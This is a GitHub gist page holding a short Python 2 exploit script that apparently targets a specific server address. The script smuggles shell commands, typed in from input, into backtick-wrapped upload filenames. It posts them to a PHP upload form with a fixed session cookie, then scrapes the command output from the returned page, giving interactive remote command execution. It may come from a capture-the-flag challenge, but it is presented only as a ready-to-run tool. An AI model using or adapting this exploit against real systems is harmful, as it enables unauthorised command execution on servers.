-
-
Save anonymous/c80fc5616f867a145c91 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
get_url = 'http://194.106.195.60:9280/main.php' | |
post_url = 'http://194.106.195.60:9280/upload_file.php' | |
cookies = {'PHPSESSID' :'6a9btoq20khkn8ln5lfhuo6v62'} | |
offset_num = 66 | |
while True: | |
try: | |
file_raw = raw_input() | |
# Create payload filename | |
file_name = "`%s`.png" % file_raw | |
f = open(file_name, 'w') | |
f.write('A') | |
f.close() | |
# Send date | |
files = {'file': open(file_name, 'rb')} | |
r = requests.post(post_url, files=files, cookies=cookies) | |
# Read results | |
r = requests.get(get_url, cookies=cookies) | |
text = r.text | |
# Find indicator | |
indicator = '6a9btoq20khkn8ln5lfhuo6v62/%s-' % offset_num | |
index = r.text.rfind(indicator) | |
print text[index+len(indicator):index+len(indicator)+17] | |
offset_num += 1 | |
except Exception: | |
print "Nope" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment